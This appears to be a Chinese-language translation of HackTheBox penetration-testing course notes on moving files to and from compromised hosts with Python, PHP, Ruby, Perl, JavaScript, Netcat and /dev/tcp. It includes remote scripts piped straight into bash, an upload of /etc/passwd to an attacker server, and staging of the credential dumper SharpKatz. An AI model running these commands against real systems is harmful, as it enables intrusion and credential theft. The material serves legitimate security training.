Transfering Files with Code

在我们的目标机器上安装不同的编程语言是很常见的。Python、PHP、Perl和Ruby等编程语言在Linux发行版中很常见,但也可以安装在Windows上,尽管这远不常见。 我们可以使用一些Windows默认应用程序,如cscript和mshta,来执行JavaScript或VBScript代码。JavaScript也可以在Linux主机上运行。 根据维基百科,大约有700种编程语言,我们可以用任何编程语言创建代码,将指令下载、上传或执行到操作系统。本节将提供一些使用通用编程语言的示例。

Python

Python是一种流行的编程语言。目前支持版本3,但我们可能会发现Python 2.7版本仍然存在的服务器。Python可以使用选项-c从操作系统命令行运行一行代码。让我们看一些例子:

Tanin@htb[/htb]$ python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
Tanin@htb[/htb]$ python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

PHP

PHP也非常流行,它提供了多种文件传输方法。根据W3Techs( According to W3Techs’ data)的数据,77.4%的网站使用已知的服务器端编程语言使用PHP。尽管信息并不精确,而且数量可能略低,但我们在执行攻击性操作时经常会遇到使用PHP的web服务。 让我们看一些使用PHP下载文件的示例。 在下面的示例中,我们将使用PHP file_get_contents() module 从网站下载内容,并结合 file_put_contents() module将文件保存到目录中。PHP可以用于使用选项-r从操作系统命令行运行一行代码。

PHP Download with File_get_contents()

Tanin@htb[/htb]$ php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

file_get_contents()和file_put_contends()的替代方案是fpopen()模块。我们可以使用这个模块打开一个URL,读取它的内容并将其保存到一个文件中。

PHP Download with Fopen()

php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

这段代码看起来是一个简单的文件下载操作,它尝试从指定的 URL 下载 LinEnum.sh 文件,并将其保存到本地。

具体来说,代码的含义如下:

fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb");

该行代码打开指定 URL 的远程文件,使用 "rb" 模式以二进制方式读取文件内容。

$flocal = fopen("LinEnum.sh", "wb");

该行代码创建一个名为 LinEnum.sh 的本地文件,使用 "wb" 模式以二进制方式写入文件内容。

while ($buffer = fread($fremote, BUFFER)) {
    fwrite($flocal, $buffer);
}

该循环代码从远程文件中读取数据块,并将数据块写入本地文件,直到远程文件的所有数据被读取完毕。

fclose($flocal);
fclose($fremote);

最后,代码关闭打开的本地文件和远程文件。

请注意,这只是一段代码片段,缺少变量的定义和完整的执行环境。要使其正常工作,您需要在代码中定义 BUFFER 常量的大小,并确保您有适当的文件读写权限。另外,请确保从远程服务器下载的文件内容符合您的预期,并采取安全措施来验证和审查远程文件的来源和内容。

我们也可以将下载的内容发送到管道,类似于我们在上一节中使用cURL和wget执行的无文件示例。

PHP Download a File and Pipe it to Bash

Tanin@htb[/htb]$ php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

这段代码使用 PHP 和 Bash 结合执行了一系列操作。具体来说,它从指定的 URL 下载 LinEnum.sh 文件,然后通过管道将文件内容传递给 Bash 来执行。

以下是代码的解释:

$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh");

这行代码使用 file() 函数从指定的 URL 下载文件,并将文件内容读取到 $lines 数组中。@ 符号用于忽略可能出现的错误。

foreach ($lines as $line_num => $line) {
    echo $line;
}

这个循环遍历 $lines 数组中的每一行,并使用 echo 打印每一行的内容。这样可以将下载的文件内容输出到标准输出。

| bash

通过管道 | 将 PHP 的输出传递给 Bash,即将下载的文件内容传递给 Bash 执行。

这段代码的目的是将远程文件 LinEnum.sh 的内容下载并传递给 Bash 解释器执行。请注意,执行来自远程源的代码片段可能存在安全风险,因此在运行此代码之前,请确保您信任远程文件的来源,并且您已经仔细审查了其中的内容。

Other Languages

Ruby和Perl是其他流行的语言,也可以用于传输文件。这两种编程语言还支持使用选项-e从操作系统命令行运行一行程序。

Tanin@htb[/htb]$ ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'

Perl - Download a File

Tanin@htb[/htb]$ perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'

JavaScript

JavaScript是一种脚本或编程语言,允许您在网页上实现复杂的功能。与其他编程语言一样,我们可以将它用于许多不同的事情。 以下JavaScript代码基于本文,我们可以使用它下载一个文件。我们将创建一个名为wget.js的文件,并保存以下内容:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

我们可以从Windows命令提示符或PowerShell终端使用以下命令来执行JavaScript代码并下载文件。

C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

Upload Operations using Python3

如果我们想上传文件,我们需要了解特定编程语言中执行上传操作的函数。Python3请求模块允许您使用Python发送HTTP请求(GET、POST、PUT等)。如果我们想将文件上传到Python3上传服务器,我们可以使用以下代码。

Starting the Python uploadserver Module

Tanin@htb[/htb]$ python3 -m uploadserver 

File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Uploading a File Using a Python One-liner

Tanin@htb[/htb]$ python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

Netcat

Netcat (通常缩写为nc)是一种计算机网络实用程序,用于使用TCP或UDP读取和写入网络连接,这意味着我们可以将其用于文件传输操作。 最初的Netcat是由霍比特人于1995年发行的,但尽管它很受欢迎,但一直没有得到维护。该工具的灵活性和实用性促使Nmap项目生产了 Ncat,这是一种现代的重新实现,支持SSL、IPv6、SOCKS和HTTP代理、连接代理等。 在本节中,我们将同时使用原始的Netcat和Ncat。

File Transfer with Netcat and Ncat

目标或攻击机器可以用来启动连接,如果防火墙阻止访问目标,这很有帮助。让我们创建一个示例,并将一个工具转移到我们的目标。 在这个例子中,我们将把SharpKatz.exe从我们的Pwnbox转移到受损的机器上。我们将使用两种方法。让我们完成第一个。 我们将首先在受损的机器上启动Netcat(nc),使用选项-l进行侦听,使用选项-p 8000选择要侦听的端口,然后使用一个大于>的值并后跟文件名SharpKatz.exe重定向stdout。

victim@target:~$ nc -l -p 8000 > SharpKatz.exe

如果被破坏的机器正在使用Ncat,我们只需要指定–recv-only来在文件传输完成后关闭连接。

victim@target:~$ ncat -l -p 8000 --recv-only > SharpKatz.exe

从我们的攻击主机,我们将使用Netcat连接到端口8000上的受损机器,并将文件SharpKatz.exe作为输入发送到Netcat。选项-q0将告诉Netcat在连接完成后关闭连接。这样,我们就可以知道文件传输何时完成。

Tanin@htb[/htb]$ wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
Tanin@htb[/htb]$ # Example using Original Netcat
Tanin@htb[/htb]$ nc -q 0 192.168.49.128 8000 < SharpKatz.exe

通过在我们的攻击主机上使用Ncat,我们可以选择–send-only而不是-q。当在连接和侦听模式中都使用–send-only标志时,一旦Ncat的输入耗尽,就会提示其终止。通常,Ncat会继续运行,直到网络连接关闭,因为远程侧可能会传输额外的数据。但是,使用–send-only,不需要预测更多传入信息。

 ncat --send-only 192.168.49.128 8000 < SharpKatz.exe

如果我们的受损机器上没有Netcat或Ncat,Bash支持在伪设备文件/dev/TCP/上进行读/写操作。 写入这个特定的文件会使Bash打开到host:port的TCP连接,并且这个功能可以用于文件传输。

NetCat - Sending File as Input to Netcat

Tanin@htb[/htb]$ # Example using Original Netcat
Tanin@htb[/htb]$ sudo nc -l -p 443 -q 0 < SharpKatz.exe

NetCat - Sending File as Input to Netcat

Tanin@htb[/htb]$ # Example using Ncat
Tanin@htb[/htb]$ sudo ncat -l -p 443 --send-only < SharpKatz.exe

Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File

victim@target:~$ cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe